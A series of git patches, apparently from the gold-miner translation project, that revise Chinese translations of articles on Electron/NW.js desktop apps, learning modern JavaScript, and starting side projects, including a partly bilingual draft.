-但是，假如 API 不再返回用来分析的代码片段，之前被代码片段创建的全局变量依然会存在你的代码当中，这些全局变量会尝试调用未定义的函数。所以我们并没有完全解决问题。而且，如果用户没有联网就打开 app，API 调用会失败。你并不想让离线版本的 app 看起来和正常版本有太大区别。当然你可以用上次成功请求的缓存文件来用作离线版本的加载。但是如果当前版本出现问题怎么办，你又回到了之前提到的问题（如果不强制用户下载新版本，app 就会崩溃）。
+但是，假如 API 不再返回用来分析的代码片段，之前被代码片段创建的全局变量依然会存在你的代码当中，这些全局变量会尝试调用未定义的函数。所以我们并没有完全解决问题。而且，如果用户没有联网就打开 app，API 调用会失败。你并不想在离线时限制你的 app。当然你可以用上次成功请求的缓存文件来用作离线版本的加载。但是如果当前版本出现问题怎么办，你又回到了之前提到的问题（如果不强制用户下载新版本，app 就会崩溃）。
 
 另外一种解决方案是创建一个隐藏窗口加载包含了所有第三方代码片段的本地HTML 文件。这样，任何由全局变量导致的问题会在这个隐藏窗口里报错，而主要窗口不受影响。如果你需要在主要窗口当中调用 这些 API 或者 全局变量，你可以通过 IPC 的方式来实现。通过 IPC 向主进程发送一个事件，然后该事件会被发送到隐藏窗口当中。如果隐藏窗口没有任何问题，它会监听事件同时调用第三方函数。这样就可以解决之前提到的问题。
 
@@ -407,9 +405,9 @@ app.on('ready', () => {
 
 #### 自动化测试
 
-NW.js 本身不包含对测试的支持。但是由于你可以使用 Node.js，技术上使测试成为可能。 例如 [Chrome Remote Interface](https://github.com/cyrus-and/chrome-remote-interface) 可以用来测试 app 当中的按钮点击。但这个还是有点 tricky TODO，因为你无法触发原生窗口按钮的点击，也就无法测试。
+NW.js 本身不包含对测试的支持。但是由于你可以使用 Node.js， 技术上，测试是可行的。 例如 [Chrome Remote Interface](https://github.com/cyrus-and/chrome-remote-interface) 可以用来测试 app 当中的按钮点击。但这个还是有点牵强，因为你无法触发原生窗口按钮的点击，也就无法测试。
 
-Electron 官方团队开发了 [Spectron](http://electron.atom.io/spectron/) 用来自动测试。它支持测试原生控制按钮，管理窗口还有模拟 Electron 事件。它甚至在持续集成构建中运行。
+Electron 官方团队开发了 [Spectron](http://electron.atom.io/spectron/) 用来自动测试。它支持测试原生控制按钮，管理窗口还有模拟 Electron 事件。它甚至可以在持续集成构建中运行。
 
 ```javascript
 var Application = require('spectron').Application
@@ -439,31 +437,31 @@ describe('application launch', function () {
 })
 ```
 
-考虑到你的 app 就是 HTML 文件，仅仅在静态文件中添加指向测试工具的脚本，你可以用任何工具来测试 web app。但是你得确保 app 可以在没有 Node.js 的情况下依然可以运行。
+考虑到你的 app 就是 HTML 文件，仅仅在静态文件中添加指向测试工具的脚本，你可以用任何工具来测试 web app。但是你得确保 app 可以在没有 Node.js 的 web 浏览器中依然可以运行。
 
 ### 桌面和 Web
 
 这不仅仅是关乎桌面 app 或者 web app。作为一个 web 开发者，你可以用任何工具制作 app 确保在任何平台和环境中运行。但是为什么没有一劳永逸的办法呢？我们还需要努力，但这是值得的。接下来我会提到一些相关的话题和工具，考虑到它们太过复杂，我就点到为止。
 
-首先，忘记什么“浏览器限定”和原生 WebSockets 等等其他的事情。它们都提倡 ES6.你要么写纯粹的 ES5，要么用类似 [Babel](https://babeljs.io/) 的工具来把 ES6 代码编译成 ES5，供 web 使用。
+首先，忘记什么“浏览器限定”和原生 WebSockets 等等其他的事情。ES6 也是如此.你要么写纯粹的 ES5，要么用类似 [Babel](https://babeljs.io/) 的工具来把 ES6 代码编译成 ES5，供 web 使用。
 
-你的代码里也会写满了许多浏览器不会理解的`require`（用来引入其他脚本文件或者模块）。使用支持 CommonJS 的模块打包器，比如 [Rollup](http://rollupjs.org)，[webpack](https://webpack.github.io) 或者 [Browserify](http://browserify.org)。当构建 web app的时候，模块打包器会遍历代码，找到所有的`require`然后把他们放在一个脚本文件里。
+你的代码里也会写满了许多浏览器不会理解的 `require`（用来引入其他脚本文件或者模块）。使用支持 CommonJS 的模块打包器，比如 [Rollup](http://rollupjs.org)，[webpack](https://webpack.github.io) 或者 [Browserify](http://browserify.org)。当构建 web app 的时候，模块打包器会遍历代码，找到所有的 `require` 然后把他们放在一个脚本文件里。
 
-任何用到 Node.js 或者 Electron API（比如写盘操作或者整合桌面环境TODO）都不应该在 app 运行在 web 端的时候被调用。你可以通过检测`process.version.nwjs` 和 `process.versions.electron` 是否存在来侦测 API 的调用。如果存在，则表明 app 当前运行在桌面环境。
+任何用到 Node.js 或者 Electron API（比如写盘操作或者集成桌面环境）的代码都不应该在 app 运行在 web 端的时候被调用。你可以通过检测 `process.version.nwjs` 和 `process.versions.electron` 是否存在来判断。如果存在，则表明 app 当前运行在桌面环境。
 
-即便如此，你仍需要在 web app 上加载大量冗余代码。假设你的代码中`if(app.isInDesktop)` 后面紧接着和桌面环境有关的`require` 代码。并非在 app 运行的时候来检测当前运行环境，同时设置对应的 `app.isInDesktop`，你可以把 `true` 和 `false` 当做 flag 在构建的时候传值到 app。它会知道 `app.isInDesktop` 是否为 `true`。因此，当你运行 web app 的时候，它不会到代码里去找对应的 `if` 条件，或者找到相关的`require`。
+即便如此，你仍会在 web app 上加载大量冗余代码。假设你的代码中 `if(app.isInDesktop)` 后面紧接着和桌面环境有关的 `require` 代码。与其在 app 运行的时候来检测当前运行环境，同时设置对应的 `app.isInDesktop`，不如把 `true` 和 `false` 当做 flag 在构建的时候传值到 app。在它进行静态和树状分析（也就是消除无用代码）时，这将有助于模块捆绑的选择。它会知道 `app.isInDesktop` 是否为 `true`。因此，当你运行 web app 的时候，它不会到代码里去找对应的 `if` 条件，或者找到相关的 `require`。
 
 #### 持续交付
 
 我们对于版本发行的观念也需要换一换了，这非常有挑战性。当你在开发 web app 的时候，你希望能够频繁发布新的改动。我相信在持续交付中，小的增量改动可以快速回滚。理想情况是，经过足够的测试，一个实习生也可以把改动的代码 push 到 master 分支，然后让 web app 自动测试和部署。
 
-我们之前谈到，你不能像 web app 那样在桌面 app 中实现同样的效果。没错，理论上如果你使用 Electron 的话，electron-builder 可以自动测试，而且 spectron 也可以测试。我不知道还有谁这么做，我自己不会有信心这么做。记住，错误的代码不可以撤销，你可能打破正常的更新流。而且，你也不想让桌面 app 更新太过频繁。更新不会悄无声息的发生，就如同 web app 一样，这对于用户来说其实很不友好。而且在 macOS 上，增量更新TODO 不被支持，用户必须针对每一个发行版本都要下载完整的新版本的 app，不管更新是多么的小。
+我们之前谈到，你不能像 web app 那样在桌面 app 中实现同样的效果。没错，理论上如果你使用 Electron 的话，electron-builder 可以自动测试，而且 spectron 也可以测试。我不知道还有谁这么做，我自己不会有信心这么做。记住，错误的代码不可以撤销，你可能打破正常的更新流。而且，你也不想让桌面 app 更新太过频繁。更新不会悄无声息的发生，不像 web app 那样，这对于用户来说其实很不友好。而且在 macOS 上不支持增量更新，用户必须针对每一个发行版本都要下载完整的新版本的 app，不管更新是多么的小。
 
-你得找到一个平衡点。一个很均衡的做法是针对 web app 要尽可能快的更新和修复问题，对于桌面 app 每周或者每月更新一次就可以，除非你要发布新功能。你也不能指责用户选择安装桌面 app。没有什么比等待很久来发布新功能更糟糕的事情了。你可以采用 feature-flag TODO API 来在同一平台同一时间发布新功能，但这又是另外一个话题了。我第一次学习和了解到 feature flag 是来自 Etsy Engineering VP Mike Brittain 的讲话 “[Continuous Delivery: The Dirty Details](https://www.youtube.com/watch?v=JR-ccCTmMKY),”
+你得找到一个平衡点。一个妥协的做法是针对 web app 要尽可能快的更新和修复问题，对于桌面 app 每周或者每月更新一次就可以，除非你要发布新功能。你也不能指责用户选择安装桌面 app。没有什么比等待很久来发布新功能更糟糕的事情了。你可以采用功能发布控制器（feature-flag）API 来在同一平台同一时间发布新功能，但这又是另外一个话题了。我第一次学习和了解到功能发布控制器是来自 Etsy 的工程师 VP，Mike Brittain 的讲话，[持续交付：肮脏的细节](https://www.youtube.com/watch?v=JR-ccCTmMKY)（需翻墙）
 
 ### 总结
 
-那么你已经掌握了。只要一点点努力，你就可以在简历中加上”桌面 app 开发者“的标签了。我们从创建第一个现代桌面 app，打包，分发，讲到售后服务还有更多。但愿我提到的一些陷阱和坑对你来说并没有那么可怕。你已经知道它们前因后果了。你需要做的就是看一遍 API 文档。感谢那些可供我们任意使用的强大的 API，你可以从 web 开发者的技能树上获取更多有价值的东西。我希望可以在 NW.js 和 Electron 社区中看到你的身影。
+那么你已经掌握了。只要一点点努力，你就可以在简历中加上”桌面 app 开发者“的标签了。我们从创建第一个现代桌面 app，打包，分发，讲到售后服务还有更多。但愿我提到的一些陷阱和坑对你来说并没有那么可怕。你已经知道它们的前因后果了。你需要做的就是看一遍 API 文档。感谢那些可供我们任意使用的强大的 API，你可以从 web 开发者的技能树上获取更多有价值的东西。我希望可以在 NW.js 和 Electron 社区中看到你的身影。
 
 ---
 

From 021e959c876c26ef75cf0a591f6ecc6ed10fbc46 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Sat, 8 Apr 2017 03:01:48 +0800
Subject: [PATCH 066/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=20reid3290=20?=
 =?UTF-8?q?=E7=9A=84=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...n-javascript-for-ancient-web-developers.md | 26 +++++++++----------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/TODO/modern-javascript-for-ancient-web-developers.md b/TODO/modern-javascript-for-ancient-web-developers.md
index e55b07daf69..c3c44f72e97 100644
--- a/TODO/modern-javascript-for-ancient-web-developers.md
+++ b/TODO/modern-javascript-for-ancient-web-developers.md
@@ -2,7 +2,7 @@
 > * 原文作者：[Gina Trapani](https://trackchanges.postlight.com/@ginatrapani?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[sun](http://suncafe.cc)
-> * 校对者：
+> * 校对者：[xilihuasi](https://github.com/xilihuasi)、 [Reid](https://github.com/reid3290)
 
 # 写给“古代” Web 开发者的“现代” JavaScript 指南 #
 
@@ -10,29 +10,29 @@
 
 用 JavaScript 学习 JavaScript。图片来自 [learnyounode](https://github.com/workshopper/learnyounode)。
 
-有这样一种守旧的后端 web 开发者，他们很久以前就掌握了 Perl 或 Python 或 PHP 或 Java Server Pages 一类的东西，可能甚至掌握了 Rails 或者 Django。这个人使用巨大的关系型数据库构建 JSON API 服务，呃也可能是 XML。
+有这样一种守旧的后端 web 开发者，他们很久以前就掌握了诸如 Perl 、Python、PHP 或 Java Server Pages 一类的东西，甚至还掌握了 Rails 或者 Django。他们使用巨大的关系型数据库构建 JSON API 服务，呃也可能是 XML。
 
-这个人是一个**后端**开发者，所以很久以来，JavaScript 只是一个可以添加一些前端诡计，使网页上的东西变色的有趣小玩具。如果说 JavaScript 真的很有用，那也不过是给表单添加验证，以防止错误的数据进入数据库。八年以前 [jQuery 进入了这个人的脑海](https://twitter.com/ginatrapani/status/3252157585)。JavaScript 本身依然是可以被容忍但从未被接纳的语言。
+他是个**后端**开发者， 因此对他而言，JavaScript 一直只是个可以添加一些前端花招，使网页上的东西变色的有趣小玩具。如果说 JavaScript 真的很有用，那也不过是给表单添加验证，以防止错误的数据进入数据库。八年前 [jQuery 让这个人十分震惊](https://twitter.com/ginatrapani/status/3252157585)。JavaScript 本身依然是可以被容忍但从未被接纳的语言。
 
-随后 JavaScript 和它的框架侵蚀了后端、前端和他们之间的一切，对于 JavaScript 开发者而言，2017年正是重新成为一个全新 web 开发者的时刻。
+ 随后 JavaScript 及其现代框架侵蚀了后端、前端和他们之间的一切，对于 JavaScript 开发者而言，2017年正是重新成为一个全新 web 开发者的时刻。
 
-Hi.我正是一个正在学习现代 JavaScript 的“古代” web 开发者。我才刚刚起步玩得也还算尽兴，当然也踩了一些坑。在我开始之前，有一些关于现代 JavaScript 世界的事情我希望已经理解并且接受了。
+Hi.我是一个正在学习现代 JavaScript 的“古代” web 开发者。我才刚刚起步玩得也还算尽兴，当然也踩了一些坑。有一些现代 JavaScript 的概念我希望我能在开始学习之前就融会贯通。
 
-基于一个已经惯性思维模式的旧的编程语言之上学习一个新的生态系统，我在心态和期望方面得做下面一些改变。
+在旧编程语言的惯性思维模式之上学习一个新的生态系统，我在心态和期望方面得做下面一些改变。
 
 ### 转移目标 (.jS)
 
-现代 JS 如果不是发展期改变太快其实也没什么，所以很容易就选择了过时的框架、模板引擎、构建工具、教程、或者已经不是最佳实践的技术。（这里指的是被广泛接受的最佳实践的概念）
+现代 JS 的特点就是朝气蓬勃和发展迅速，所以很容易就选择了过时的框架、模板引擎、构建工具、 教程或者已经不是最佳实践的技术。（ 如果真有一个被广泛接受的最佳实践的概念的话）
 
-这种情况下，就有必要向你身边的 JavaScript 工程师朋友伸手求助了，和他们聊一聊你的技术路线。我很荣幸在 Postlight 得到了工程师朋友的精湛指导，感谢他们容忍我无穷无尽的问题。
+这种情况下，就有必要向你身边的 JavaScript 工程师朋友伸手求助了，和他们聊一聊你的技术路线。我很荣幸在 Postlight 得到了工程师朋友(特别是 [Jeremy Mack](https://medium.com/@mutewinter))的精湛指导，感谢他们容忍我无穷无尽的问题。
 
-我要说的是,学习现代的 JavaScript 需要人为干预。因为人为因素，事物不断发展，课程和指南不会很久都一成不变,最佳实践变成权威的规范只需几个月的时间。如果你手边没有一个仁道的专家，那么至少也得检查 Medium 上文章或教程的日期,或 Github 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。
+我要说的是,学习现代的 JavaScript 需要人为干预。事物还在不断发展变化，各种教程尚未成熟和定型，所谓最佳实践也未形成正式规范。如果你手边没有一个仁道的专家，那么至少也得检查 Medium 上文章或教程的日期,或 Github 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。
 
 ### 新的问题，而不是已经确定的解决方案 ###
 
 走类似这样的路线：当你在学习现代 JavaScript 时，你遇到的问题的解决方案还在渐渐得到解决，这正是一个好机会。事实上，很可能仅仅差一次 code review，你在使用这个包时就可以修复问题。
 
-当你在使用一种像 PHP 这样的古老的语言的时候，你可以 Google 一个提问或者问题，几乎百分之百能找到一个5年前的 Stack Overflow 回答来解决它，或者你能在（彻底的，大量评论的，无与伦比的）[文档](http://docs.php.net/docs.php)里找到整个描述。
+当你在使用一种像 PHP 这样的古老的语言的时候，你可以 Google 一个提问或者问题，几乎百分之百能找到一个5年前的 Stack Overflow 回答来解决它，或者你能在（详尽的，大量评论的，无与伦比的）[文档](http://docs.php.net/docs.php)里找到整个描述。
 
 现代 JavaScript 就并非如此了。 我曾经徜徉在 GitHub issues 和源码的时候不止一次找到的都是一些过时的文档。剖析 GitHub 版本库是学习和使用各种包的一部分，而且对于像我这样的“远古人”，靠近边缘的工作更令人迷惑。
 
@@ -75,15 +75,15 @@ burger.resolve() — 图片来自 [The Promise of a Burger Party](http://kos
 
 ### **“首先做，然后做对，然后做得更好**.” ###
 
-最后这件最重要的事我一定要提起：不断去做就是学习的过程，做的很糟糕？那也是学习的过程。
+最后这件最重要的事我一定要提起：不断去做就是学习的过程，做得很糟糕？那也是学习的过程。
 
-[学习最前沿的现代 JavaScript](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.kclvczou2) 感觉就像是在不知所以然的徒劳无功。当你在想有这么多时间搬搬砖不是更好吗的时候，Google 的 [Addy Osmani 有个不错的建议](https://medium.com/@addyosmani/totally-get-your-frustration-ea11adf237e3#.t599ja0j3)
+[这年头学习现代 JavaScript](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.kclvczou2) 感觉就像是在不知所以然得做无用功。当你在想有这么多时间搬搬砖不是更好吗的时候，Google 的 [Addy Osmani 有个不错的建议](https://medium.com/@addyosmani/totally-get-your-frustration-ea11adf237e3#.t599ja0j3)
 
 > 我鼓励人们采用这种方法来跟上 JavaScript 生态系统：**首先做，然后做对，然后才是做得更好**. […]
 
 > 掌握任何新技能的基本要求都需要时间，实践和技巧。如果不使用每日一库或者响应式学习，容易产生挫败感。学会正确使用 Babel 和 React 花费了我数周时间，学习 Isomorphic JS，WebPack 和其他所有相关的库花了更多的时间。 **简简单单地开始并且从基础做起就好.**
 
-这里*感谢* [*NodeSchool*](https://nodeschool.io/) 和 [*Free Code Camp*](https://www.freecodecamp.com/)，帮助初学者学习 JavaScript 的两个神奇的网站.  
+这里**感谢** [ **NodeSchool**](https://nodeschool.io/) 和 [**Free Code Camp**](https://www.freecodecamp.com/)，帮助初学者学习 JavaScript 的两个神奇的网站.  
 
 
 ---

From 8e0488cecb3ecf0240da43b214f863b266fc2fb3 Mon Sep 17 00:00:00 2001
From: sunxinlei <sunxinly@gmail.com>
Date: Sat, 8 Apr 2017 03:13:24 +0800
Subject: [PATCH 067/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=20xilihuasi=20?=
 =?UTF-8?q?=E7=9A=84=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/modern-javascript-for-ancient-web-developers.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/modern-javascript-for-ancient-web-developers.md b/TODO/modern-javascript-for-ancient-web-developers.md
index c3c44f72e97..d62d526e6a9 100644
--- a/TODO/modern-javascript-for-ancient-web-developers.md
+++ b/TODO/modern-javascript-for-ancient-web-developers.md
@@ -4,19 +4,19 @@
 > * 译者：[sun](http://suncafe.cc)
 > * 校对者：[xilihuasi](https://github.com/xilihuasi)、 [Reid](https://github.com/reid3290)
 
-# 写给“古代” Web 开发者的“现代” JavaScript 指南 #
+# 写给“老派” Web 开发者的“现代” JavaScript 指南 #
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*_5XMNVNbpIDCDHU1YXZPyA.png">
 
 用 JavaScript 学习 JavaScript。图片来自 [learnyounode](https://github.com/workshopper/learnyounode)。
 
-有这样一种守旧的后端 web 开发者，他们很久以前就掌握了诸如 Perl 、Python、PHP 或 Java Server Pages 一类的东西，甚至还掌握了 Rails 或者 Django。他们使用巨大的关系型数据库构建 JSON API 服务，呃也可能是 XML。
+有这样一种守旧的后端 web 开发者，他们很久以前就掌握了诸如 Perl 、Python、PHP 或 Java Server Pages 一类的东西，甚至还掌握了 Rails 或者 Django。他们使用巨大的关系型数据库构建 JSON API 服务，呃甚至是 XML。
 
 他是个**后端**开发者， 因此对他而言，JavaScript 一直只是个可以添加一些前端花招，使网页上的东西变色的有趣小玩具。如果说 JavaScript 真的很有用，那也不过是给表单添加验证，以防止错误的数据进入数据库。八年前 [jQuery 让这个人十分震惊](https://twitter.com/ginatrapani/status/3252157585)。JavaScript 本身依然是可以被容忍但从未被接纳的语言。
 
  随后 JavaScript 及其现代框架侵蚀了后端、前端和他们之间的一切，对于 JavaScript 开发者而言，2017年正是重新成为一个全新 web 开发者的时刻。
 
-Hi.我是一个正在学习现代 JavaScript 的“古代” web 开发者。我才刚刚起步玩得也还算尽兴，当然也踩了一些坑。有一些现代 JavaScript 的概念我希望我能在开始学习之前就融会贯通。
+Hi.我是一个正在学习现代 JavaScript 的“老派” web 开发者。我才刚刚起步玩得也还算尽兴，当然也踩了一些坑。有一些现代 JavaScript 的概念我希望我能在开始学习之前就融会贯通。
 
 在旧编程语言的惯性思维模式之上学习一个新的生态系统，我在心态和期望方面得做下面一些改变。
 
@@ -26,7 +26,7 @@ Hi.我是一个正在学习现代 JavaScript 的“古代” web 开发者。我
 
 这种情况下，就有必要向你身边的 JavaScript 工程师朋友伸手求助了，和他们聊一聊你的技术路线。我很荣幸在 Postlight 得到了工程师朋友(特别是 [Jeremy Mack](https://medium.com/@mutewinter))的精湛指导，感谢他们容忍我无穷无尽的问题。
 
-我要说的是,学习现代的 JavaScript 需要人为干预。事物还在不断发展变化，各种教程尚未成熟和定型，所谓最佳实践也未形成正式规范。如果你手边没有一个仁道的专家，那么至少也得检查 Medium 上文章或教程的日期,或 Github 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。
+我要说的是,学习现代的 JavaScript 需要人为干预。事物还在不断发展变化，各种教程尚未成熟和定型，所谓最佳实践也未形成正式规范。如果你身边没有大牛，那么至少也得检查 Medium 上文章或教程的日期,或 Github 仓库的最近一次提交时间。如果时间超过了一年，基本上可以确定已经过时。
 
 ### 新的问题，而不是已经确定的解决方案 ###
 
@@ -34,7 +34,7 @@ Hi.我是一个正在学习现代 JavaScript 的“古代” web 开发者。我
 
 当你在使用一种像 PHP 这样的古老的语言的时候，你可以 Google 一个提问或者问题，几乎百分之百能找到一个5年前的 Stack Overflow 回答来解决它，或者你能在（详尽的，大量评论的，无与伦比的）[文档](http://docs.php.net/docs.php)里找到整个描述。
 
-现代 JavaScript 就并非如此了。 我曾经徜徉在 GitHub issues 和源码的时候不止一次找到的都是一些过时的文档。剖析 GitHub 版本库是学习和使用各种包的一部分，而且对于像我这样的“远古人”，靠近边缘的工作更令人迷惑。
+现代 JavaScript 就并非如此了。 我曾经徜徉在 GitHub issues 和源码的时候不止一次找到的都是一些过时的文档。剖析 GitHub 版本库是学习和使用各种包的一部分，而且对于我这样的“老派人”，差之毫厘的学习总是令人迷惑。
 
 ### 工具过载 ###
 

From 72a85e8feab4901e3c1ecac95667bf62b46b4444 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 21:22:21 -0400
Subject: [PATCH 068/638] translate draft finished

---
 ...ng-will-change-until-you-start-building.md | 68 +++++++++----------
 1 file changed, 34 insertions(+), 34 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 1b50bdcaea1..26cc605b437 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -1,89 +1,89 @@
 > * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)
 > * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[owenlyn](https://github.com/owenlyn)
 > * 校对者：
 
 ---
 
 ![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
-# Nothing will change until you start building.
+# Nothing will change until you start building. 真正行动之前 你将一无所成
 
-This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.
+This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
 
-This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.
+This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it. 接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
 
-This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.
+This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it. 这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
 
-The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly.
+The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly. 你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.
+In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue. 在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
 
 
 ![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
 
-With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.
+With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。
 
 ---
 
-### 1. Define your goal
+### 1. Define your goal确定目标
 
-Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.
+Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
 
-**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.
+**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently. **尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
 
-### 2. Stay on track
+### 2. Stay on track执行计划
 
-Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound.
+Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound. 有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.
+Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
 
-One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.
+One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
 
-### 3. Solve a problem
+### 3. Solve a problem 解决一个问题
 
-Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.
+Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
 
-For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.
